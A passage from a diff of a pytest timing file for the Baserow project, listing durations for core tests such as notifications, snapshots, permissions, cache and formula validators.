"tests/baserow/core/notifications/test_notifications_handler.py::test_broadcast_notifications_are_not_sent_by_email": 0.4178265000227839, + "tests/baserow/core/notifications/test_notifications_handler.py::test_clear_all_direct_notifications": 0.09954670700244606, + "tests/baserow/core/notifications/test_notifications_handler.py::test_clear_direct_notifications_should_delete_them": 0.18307120795361698, + "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_included_up_to_email_limit": 0.34908666598494165, + "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_not_sent_if_already_cleared_by_user": 0.3348587919899728, + "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_not_sent_if_already_read_by_user": 0.34598699896014296, + "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_not_sent_if_global_setting_is_disabled": 0.3344953329942655, + "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_sent_just_once": 0.35239129097317345, + "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_sent_only_after_setting_is_activated": 0.32605687400791794, + "tests/baserow/core/notifications/test_notifications_handler.py::test_get_notification_by_id": 0.09482779097743332, + "tests/baserow/core/notifications/test_notifications_handler.py::test_get_unread_notifications_count": 0.09012174999224953, + "tests/baserow/core/notifications/test_notifications_handler.py::test_get_workspace_notifications": 0.09785945800831541, + "tests/baserow/core/notifications/test_notifications_handler.py::test_mark_all_notifications_as_read": 0.0938044989889022, + "tests/baserow/core/notifications/test_notifications_handler.py::test_mark_notification_as_read": 0.09792887401999906, + "tests/baserow/core/notifications/test_notifications_handler.py::test_no_email_without_renderable_notifications": 0.09491858296678402, + "tests/baserow/core/notifications/test_notifications_handler.py::test_not_all_notification_types_are_included_in_the_email_notification_summary": 0.34789695803192444, + "tests/baserow/core/notifications/test_notifications_handler.py::test_queued_notifications_are_not_visible_to_the_users": 0.1707417499856092, + "tests/baserow/core/notifications/test_notifications_handler.py::test_queued_notifications_are_sent_grouped_by_user": 0.424111999978777, + "tests/baserow/core/notifications/test_notifications_handler.py::test_user_with_daily_email_notification_frequency_settings[daily]": 0.8338265009806491, + "tests/baserow/core/notifications/test_notifications_handler.py::test_user_with_daily_email_notification_frequency_settings[weekly]": 0.5194900000060443, + "tests/baserow/core/notifications/test_notifications_signals.py::test_all_notifications_cleared_signal_called": 0.0934495409601368, + "tests/baserow/core/notifications/test_notifications_signals.py::test_all_notifications_marked_as_read_signal_called": 0.08883291596430354, + "tests/baserow/core/notifications/test_notifications_signals.py::test_notification_broadcast_created_signal_called": 0.018638832989381626, + "tests/baserow/core/notifications/test_notifications_signals.py::test_notification_created_signal_called": 0.15899329198873602, + "tests/baserow/core/notifications/test_notifications_signals.py::test_notification_marked_as_read_signal_called": 0.15926508395932615, + "tests/baserow/core/notifications/test_notifications_tasks.py::test_daily_report_is_sent_at_correct_time_according_to_user_timezone": 0.6533160419785418, + "tests/baserow/core/notifications/test_notifications_tasks.py::test_daily_report_is_sent_up_to_max_limit_per_task_and_log_the_error": 0.7924605829757638, + "tests/baserow/core/notifications/test_notifications_tasks.py::test_daily_report_is_sent_up_to_max_limit_per_task_log_the_error_and_retry_after": 0.6910492079914548, + "tests/baserow/core/notifications/test_notifications_tasks.py::test_weekly_report_is_sent_at_correct_date_and_time_according_to_user_timezone": 0.5909589170187246, + "tests/baserow/core/search/test_workspace_search_registry_pagination.py::test_search_all_types_pagination_edge_cases": 0.356118209019769, + "tests/baserow/core/search/test_workspace_search_registry_pagination.py::test_search_all_types_pagination_limit_reached": 0.3647566670260858, + "tests/baserow/core/search/test_workspace_search_registry_pagination.py::test_search_all_types_pagination_no_results": 0.33378920797258615, + "tests/baserow/core/search/test_workspace_search_registry_pagination.py::test_search_all_types_pagination_skip_entire_type": 0.3461421250249259, + "tests/baserow/core/search/test_workspace_search_registry_pagination.py::test_search_all_types_pagination_with_different_priorities": 0.3330089580267668, + "tests/baserow/core/search/test_workspace_search_registry_pagination.py::test_search_all_types_pagination_within_single_type": 0.3804983329609968, + "tests/baserow/core/service/test_service_handler.py::test_create_service": 0.09671316700405441, + "tests/baserow/core/service/test_service_handler.py::test_delete_service": 0.11738704104209319, + "tests/baserow/core/service/test_service_handler.py::test_dispatch_local_baserow_get_row_service_missing_integration": 0.01770129197393544, + "tests/baserow/core/service/test_service_handler.py::test_get_service": 0.10810770801617764, + "tests/baserow/core/service/test_service_handler.py::test_get_service_does_not_exist": 0.016969666990917176, + "tests/baserow/core/service/test_service_handler.py::test_get_services": 0.10429237602511421, + "tests/baserow/core/service/test_service_handler.py::test_update_service": 0.12643545799073763, + "tests/baserow/core/service/test_service_handler.py::test_update_service_filters": 0.23332116700476035, + "tests/baserow/core/service/test_service_handler.py::test_update_service_invalid_values": 0.09985087500535883, + "tests/baserow/core/service/test_service_handler.py::test_update_service_sortings": 0.235980751021998, + "tests/baserow/core/service/test_service_type.py::test_dispatch_even_if_simulated_when_updated": 0.013148500031093135, + "tests/baserow/core/service/test_service_type.py::test_dispatch_even_if_simulated_without_sample_data": 0.013170457968953997, + "tests/baserow/core/service/test_service_type.py::test_dispatch_passes_field_names[field_names0-expected_field_names0]": 0.014132417010841891, + "tests/baserow/core/service/test_service_type.py::test_dispatch_passes_field_names[field_names1-expected_field_names1]": 0.013419458002317697, + "tests/baserow/core/service/test_service_type.py::test_dispatch_returns_sample_data_when_simulated": 0.01299583402578719, + "tests/baserow/core/service/test_service_type.py::test_extract_properties": 0.012730541988275945, + "tests/baserow/core/service/test_service_type.py::test_get_sample_data": 0.012898083979962394, + "tests/baserow/core/service/test_service_type.py::test_service_type_generate_schema": 0.012818916991818696, + "tests/baserow/core/service/test_service_type.py::test_service_type_get_schema_name": 0.01299112499691546, + "tests/baserow/core/service/test_service_type.py::test_service_type_prepare_values": 0.3278904179460369, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row0-field_names0-updated_row0]": 0.013053375005256385, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row1-field_names1-updated_row1]": 0.013244666974060237, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row2-field_names2-updated_row2]": 0.012897459004307166, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row3-field_names3-updated_row3]": 0.012823125987779349, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row4-field_names4-updated_row4]": 0.01282433298183605, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row5-field_names5-updated_row5]": 0.012809708015993237, + "tests/baserow/core/service/test_service_type.py::test_service_type_remove_unused_field_names[row6-field_names6-updated_row6]": 0.012740499980282038, + "tests/baserow/core/snapshots/test_snapshot_actions.py::test_create_snapshot_action_type": 0.1290108330140356, + "tests/baserow/core/snapshots/test_snapshot_actions.py::test_delete_snapshot_action_type": 0.4135216659924481, + "tests/baserow/core/snapshots/test_snapshot_actions.py::test_restore_snapshot_action_type": 0.20723670802544802, + "tests/baserow/core/snapshots/test_snapshot_handler.py::test_delete_expired_snapshots": 0.4224551669904031, + "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_create": 0.26622462502564304, + "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_create_export_serialized_raises_operationalerror": 0.10103933198843151, + "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_create_preserves_last_modified_by": 0.2654055829916615, + "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_restore": 0.24183674997766502, + "tests/baserow/core/snapshots/test_snapshot_handler.py::test_skip_schedule_deletion_when_snapshot_not_created_yet": 0.09198745799949393, + "tests/baserow/core/snapshots/test_snapshot_job_types.py::test_dangling_snapshots_are_removed": 0.3564831240219064, "tests/baserow/core/snapshots/test_snapshot_job_types.py::test_no_dangling_snapshots_on_error": 0.31253112599824817, - "tests/baserow/core/snapshots/test_snapshot_models.py::test_migration_remove_dangling_snapshots": 0.0001060840004356578, - "tests/baserow/core/telemetry/test_env_overrides_parser.py::test_invalid_sampler_strings": 0.008477834000586881, - "tests/baserow/core/telemetry/test_env_overrides_parser.py::test_valid_sampler_strings": 0.007846250000511645, - "tests/baserow/core/telemetry/test_env_overrides_parser.py::test_valid_sampler_with_args": 0.007800082999892766, - "tests/baserow/core/test_basic_permissions.py::test_all_operations_are_registered": 0.010336751000977529, - "tests/baserow/core/test_basic_permissions.py::test_all_scope_types_are_registered": 0.009445249999771477, - "tests/baserow/core/test_basic_permissions.py::test_all_scope_types_query_methods": 0.01082058500014682, - "tests/baserow/core/test_basic_permissions.py::test_all_scope_types_referenced_by_operations_are_registered": 0.00935204200050066, - "tests/baserow/core/test_basic_permissions.py::test_allow_if_template_permission_manager": 0.15400549999958457, - "tests/baserow/core/test_basic_permissions.py::test_allow_if_template_permission_manager_filter_queryset": 0.15572024999983114, - "tests/baserow/core/test_basic_permissions.py::test_allow_if_template_permission_manager_query_count": 0.1474130829992646, - "tests/baserow/core/test_basic_permissions.py::test_check_multiple_permissions": 0.5348396670005968, - "tests/baserow/core/test_basic_permissions.py::test_check_permissions": 0.5421908329999496, - "tests/baserow/core/test_basic_permissions.py::test_get_permissions": 0.5380295420009134, - "tests/baserow/core/test_basic_permissions.py::test_workspace_member_permission_manager": 0.31850104200020724, - "tests/baserow/core/test_core_applications.py::test_application_get_api_urls": 0.00751845899685577, - "tests/baserow/core/test_core_applications.py::test_application_registry_get": 0.007688874999075779, - "tests/baserow/core/test_core_applications.py::test_application_registry_register": 0.008396250001169392, - "tests/baserow/core/test_core_applications.py::test_duplicate_application_name_collision": 0.15810345800036885, - "tests/baserow/core/test_core_db.py::test_combined_foreign_key_and_many_to_many_multiple_field_prefetch": 0.17273483500048314, - "tests/baserow/core/test_core_db.py::test_combined_multiple_field_prefetch_different_foreign_key_target": 0.15313712500028487, - "tests/baserow/core/test_core_db.py::test_locked_atomic_transaction": 0.011866083999848343, - "tests/baserow/core/test_core_db.py::test_multi_field_prefetch": 0.012262584000382049, - "tests/baserow/core/test_core_db.py::test_multiple_field_prefetch__many_to_many_missing_source": 0.16432266699939646, - "tests/baserow/core/test_core_db.py::test_multiple_field_prefetch__many_to_many_no_results": 0.1584412929996688, - "tests/baserow/core/test_core_db.py::test_multiple_field_prefetch_different_many_to_many_target": 0.15350570900045568, - "tests/baserow/core/test_core_db.py::test_specific_iterator": 0.05943512600060785, - "tests/baserow/core/test_core_db.py::test_specific_iterator_per_content_type": 0.0389260000001741, - "tests/baserow/core/test_core_db.py::test_specific_iterator_per_content_type_with_nested_prefetch": 0.036200040000039735, - "tests/baserow/core/test_core_db.py::test_specific_iterator_respecting_order": 0.029984792001414462, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_annotation": 0.03229012499923556, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_deleted_type": 0.15684191700074734, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_list": 0.03411495899945294, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_list_with_select_related_keys": 0.03426495799976692, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_list_without_providing_base_model": 0.009153207998679136, + "tests/baserow/core/snapshots/test_snapshot_models.py::test_migration_remove_dangling_snapshots": 9.254098404198885e-05, + "tests/baserow/core/telemetry/test_env_overrides_parser.py::test_invalid_sampler_strings": 0.013562458014348522, + "tests/baserow/core/telemetry/test_env_overrides_parser.py::test_valid_sampler_strings": 0.012910458957776427, + "tests/baserow/core/telemetry/test_env_overrides_parser.py::test_valid_sampler_with_args": 0.01270141699933447, + "tests/baserow/core/test_basic_permissions.py::test_all_operations_are_registered": 0.014818000956438482, + "tests/baserow/core/test_basic_permissions.py::test_all_scope_types_are_registered": 0.015176000975770876, + "tests/baserow/core/test_basic_permissions.py::test_all_scope_types_query_methods": 0.021181249991059303, + "tests/baserow/core/test_basic_permissions.py::test_all_scope_types_referenced_by_operations_are_registered": 0.016529584012459964, + "tests/baserow/core/test_basic_permissions.py::test_allow_if_template_permission_manager": 0.12075804200139828, + "tests/baserow/core/test_basic_permissions.py::test_allow_if_template_permission_manager_filter_queryset": 0.11977729300269857, + "tests/baserow/core/test_basic_permissions.py::test_allow_if_template_permission_manager_query_count": 0.0975667079910636, + "tests/baserow/core/test_basic_permissions.py::test_check_multiple_permissions": 0.31520941699272953, + "tests/baserow/core/test_basic_permissions.py::test_check_permissions": 0.3155362910183612, + "tests/baserow/core/test_basic_permissions.py::test_get_permissions": 0.3144349580106791, + "tests/baserow/core/test_basic_permissions.py::test_workspace_member_permission_manager": 0.33432095701573417, + "tests/baserow/core/test_cache.py::test_cache_cleanup_after_request": 0.013510999968275428, + "tests/baserow/core/test_cache.py::test_cache_disabled": 0.01254666701424867, + "tests/baserow/core/test_cache.py::test_cache_isolation": 0.012649832991883159, + "tests/baserow/core/test_cache.py::test_cache_storage": 0.012720792990876362, + "tests/baserow/core/test_cache.py::test_callable_default": 0.012642916990444064, + "tests/baserow/core/test_cache.py::test_get_versioned_cache_key[foo]": 0.012642084009712562, + "tests/baserow/core/test_cache.py::test_get_versioned_cache_key[foo_bar]": 0.012553790991660208, + "tests/baserow/core/test_cache.py::test_get_versioned_cache_key[foo_bar_123]": 0.012669583986280486, + "tests/baserow/core/test_cache.py::test_global_update_lock_release_on_exception": 0.013175208994653076, + "tests/baserow/core/test_cache.py::test_global_update_with_callable_default_value": 0.013048750028247014, + "tests/baserow/core/test_cache.py::test_global_update_with_existing_cache_value": 0.013269291986944154, + "tests/baserow/core/test_cache.py::test_global_update_with_literal_default_value": 0.012968790979357436, + "tests/baserow/core/test_cache.py::test_global_update_with_locking": 0.012945039983605966, + "tests/baserow/core/test_core_applications.py::test_application_get_api_urls": 0.012628583994228393, + "tests/baserow/core/test_core_applications.py::test_application_registry_get": 0.01271354200434871, + "tests/baserow/core/test_core_applications.py::test_application_registry_register": 0.012804666999727488, + "tests/baserow/core/test_core_applications.py::test_duplicate_application_name_collision": 0.11691645797691308, + "tests/baserow/core/test_core_baserow_formula_migration.py::test_create_text_formula_field_value": 0.021815334010170773, + "tests/baserow/core/test_core_baserow_formula_migration.py::test_update_text_formula_field_value": 0.025139792007394135, + "tests/baserow/core/test_core_db.py::test_combined_foreign_key_and_many_to_many_multiple_field_prefetch": 0.17652024899143726, + "tests/baserow/core/test_core_db.py::test_combined_multiple_field_prefetch_different_foreign_key_target": 0.14455104200169444, + "tests/baserow/core/test_core_db.py::test_locked_atomic_transaction": 0.021593248995486647, + "tests/baserow/core/test_core_db.py::test_multi_field_prefetch": 0.02288358297664672, + "tests/baserow/core/test_core_db.py::test_multiple_field_prefetch__many_to_many_missing_source": 0.14422437397297472, + "tests/baserow/core/test_core_db.py::test_multiple_field_prefetch__many_to_many_no_results": 0.12881866699899547, + "tests/baserow/core/test_core_db.py::test_multiple_field_prefetch_different_many_to_many_target": 0.13031412503914908, + "tests/baserow/core/test_core_db.py::test_specific_iterator": 0.1685385429591406, + "tests/baserow/core/test_core_db.py::test_specific_iterator_per_content_type": 0.09086691797710955, + "tests/baserow/core/test_core_db.py::test_specific_iterator_per_content_type_with_nested_prefetch": 0.08667770901229233, + "tests/baserow/core/test_core_db.py::test_specific_iterator_respecting_order": 0.0754877500294242, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_annotation": 0.07349787498242222, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_deleted_type": 0.15820420798263513, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_list": 0.08800241703283973, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_list_with_select_related_keys": 0.09021799999754876, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_list_without_providing_base_model": 0.019855833001201972, "tests/baserow/core/test_core_db.py::test_specific_iterator_with_prefetch_related": 0.03857887499998469, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_select_related": 0.03648483500001021, - "tests/baserow/core/test_core_db.py::test_specific_iterator_with_trashed_objects": 0.16835337500015157, - "tests/baserow/core/test_core_db.py::test_specific_queryset": 0.04182937499990658, - "tests/baserow/core/test_core_db.py::test_specific_queryset_with_select_related": 0.03263908300050389, - "tests/baserow/core/test_core_emails.py::test_base_email_message": 0.01562625000042317, - "tests/baserow/core/test_core_export.py::test_core_serialized_structure_application": 0.0075582080007734476, - "tests/baserow/core/test_core_export.py::test_core_serialized_structure_filter_application_fields": 0.00844620899988513, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_prefetch_related[prefetch_related1]": 0.0789039159717504, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_prefetch_related[viewfilter_set]": 0.08925358299165964, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_select_related": 0.07613654300803319, + "tests/baserow/core/test_core_db.py::test_specific_iterator_with_trashed_objects": 0.15050391599652357, + "tests/baserow/core/test_core_db.py::test_specific_queryset": 0.0978761250153184, + "tests/baserow/core/test_core_db.py::test_specific_queryset_with_select_related": 0.05899779198807664, + "tests/baserow/core/test_core_emails.py::test_base_email_message": 0.01976054097758606, + "tests/baserow/core/test_core_export.py::test_core_serialized_structure_application": 0.012672043027123436, + "tests/baserow/core/test_core_export.py::test_core_serialized_structure_filter_application_fields": 0.01267016600468196, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_not_strict[ -True]": 0.012606875970959663, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_not_strict[-False]": 0.012635458027943969, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_not_strict[100-True]": 0.01266041601775214, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_not_strict[None-False]": 0.012600043002748862, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_not_strict[foo-True]": 0.01259329097229056, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_not_strict[value5-True]": 0.013044499035459012, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[0.0]": 0.012589832971571013, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[0_0]": 0.012552333035273477, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[0_1]": 0.013243166962638497, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[FALSE]": 0.012538875977043062, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[F]": 0.012747083004796878, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[False0]": 0.012716500030364841, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[False1]": 0.01256866697804071, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[NO]": 0.012679459963692352, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[N]": 0.012670541007537395, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[No]": 0.012586083001224324, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[OFF]": 0.012693251017481089, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[Off]": 0.012525541009381413, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[f]": 0.01266716601094231, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[false]": 0.012560208997456357, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[n]": 0.012712208001175895, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[no]": 0.012645416980376467, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[off]": 0.012741791986627504, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_false[unchecked]": 0.01266608398873359, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[1_0]": 0.012538709008367732, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[1_1]": 0.012653040990699083, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[ON]": 0.012620207999134436, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[On]": 0.01259133403073065, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[TRUE]": 0.012710876035271212, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[T]": 0.012665123998885974, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[True0]": 0.012614208011655137, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[True1]": 0.012667167029576376, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[YES]": 0.012723374005872756, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[Y]": 0.012683331995503977, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[Yes]": 0.012754793016938493, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[checked]": 0.012637750012800097, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[on]": 0.012668417009990662, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[t]": 0.012630833953153342, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[true]": 0.013370250002481043, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[y]": 0.01251858298201114, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_strict_returns_true[yes]": 0.012528374034445733, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[ ]": 0.013141373987309635, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[123]": 0.012913041980937123, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[None]": 0.012677958031417802, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[]": 0.012504459009505808, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[bar]": 0.01262666704133153, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[foo]": 0.012673125020228326, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_boolean_validation_error[value6]": 0.013414375018328428, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_handles_null_values[-False-None]": 0.012729083973681554, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_handles_null_values[-True-None]": 0.012724208005238324, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_handles_null_values[None-False-None]": 0.01267129197367467, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_handles_null_values[None-True-None]": 0.012757415999658406, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[1,000]": 0.012765207968186587, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[1.2.3]": 0.01328608300536871, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[1a]": 0.012714416981907561, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[False]": 0.012732333038002253, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[True]": 0.012783999991370365, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[a1]": 0.012847874982981011, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[abc]": 0.012787124986061826, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[value7]": 0.012735249969409779, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[value8]": 0.012752665992593393, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_raises_error_for_invalid_values[value9]": 0.01268850002088584, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[-2.5--2.5_0]": 0.012660541047807783, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[-2.5--2.5_1]": 0.012735542026348412, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[-5--5_0]": 0.012692000018432736, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[-5--5_1]": 0.01266591702005826, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[0-0_0]": 0.012838500028010458, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[0-0_1]": 0.012802374985767528, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[1-1_0]": 0.012691708019701764, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[1-1_1]": 0.012759374978486449, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[10-10_0]": 0.012873792002210394, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[10-10_1]": 0.012746499996865168, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[10.5-10.5]": 0.012731875031022355, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[3.14-3.14_0]": 0.012811373948352411, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[3.14-3.14_1]": 0.01271654199808836, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_returns_correct_numeric_value[value6-expected6]": 0.0129076260200236, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_numeric_with_very_large_numbers": 0.012681333028012887, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_raises_if_allow_empty_is_false[None]": 0.012723708990961313, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_raises_if_allow_empty_is_false[]": 0.012966084002982825, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_raises_if_allow_empty_is_false[value2]": 0.012801709002815187, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_empty_string_if_allow_empty_is_true[None]": 0.01286308400449343, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_empty_string_if_allow_empty_is_true[]": 0.012769708002451807, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_empty_string_if_allow_empty_is_true[value2]": 0.01270216700504534, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_integer[0]": 0.013329542038263753, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_integer[100]": 0.014380834036273882, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_integer[10]": 0.01478875000611879, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_integer[1]": 0.013581790990428999, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_string[0]": 0.012949124007718638, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_or_integer_returns_string[1]": 0.012901292036985978, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_raises_error_if_allow_empty_is_false[None]": 0.012787667015800253, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_raises_error_if_allow_empty_is_false[]": 0.012781041994458064, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_raises_error_if_allow_empty_is_false[value2]": 0.012830707972170785, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_raises_error_if_allow_empty_is_false[value3]": 0.01263900098274462, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_empty_string_if_allow_empty_is_true[None]": 0.012758166005369276, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_empty_string_if_allow_empty_is_true[]": 0.012897331995191053, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_empty_string_if_allow_empty_is_true[value2]": 0.012766667001415044, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_empty_string_if_allow_empty_is_true[value3]": 0.01274508298956789, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_str_by_default[foo-foo]": 0.01266774901887402, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_str_by_default[value1-('foo',)]": 0.012714707991108298, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_str_by_default[value2-{'foo'}]": 0.012709790986264125, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_dict[value0-{\"foo\": \"bar\"}]": 0.012735541007714346, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_dict[value1-{\"foo\": [\"a\", \"b\"], \"baz\": {\"d\": [\"e\", \"f\"]}}]": 0.01273558201501146, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_list[value0-foo]": 0.012682250002399087, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_list[value1-foo,bar]": 0.012766125000780448, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_list[value2-foo]": 0.012684083019848913, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_list[value3-foo,{\"bar\": \"baz\"}]": 0.012755918025504798, + "tests/baserow/core/test_core_formula_validators.py::test_ensure_string_returns_string_version_of_list[value4-foo,{\"bar\": \"baz\"},a,b]": 0.01327454298734665, "tests/baserow/core/test_core_handler.py::test_accept_group_invitation": 0.2694734500000777, - 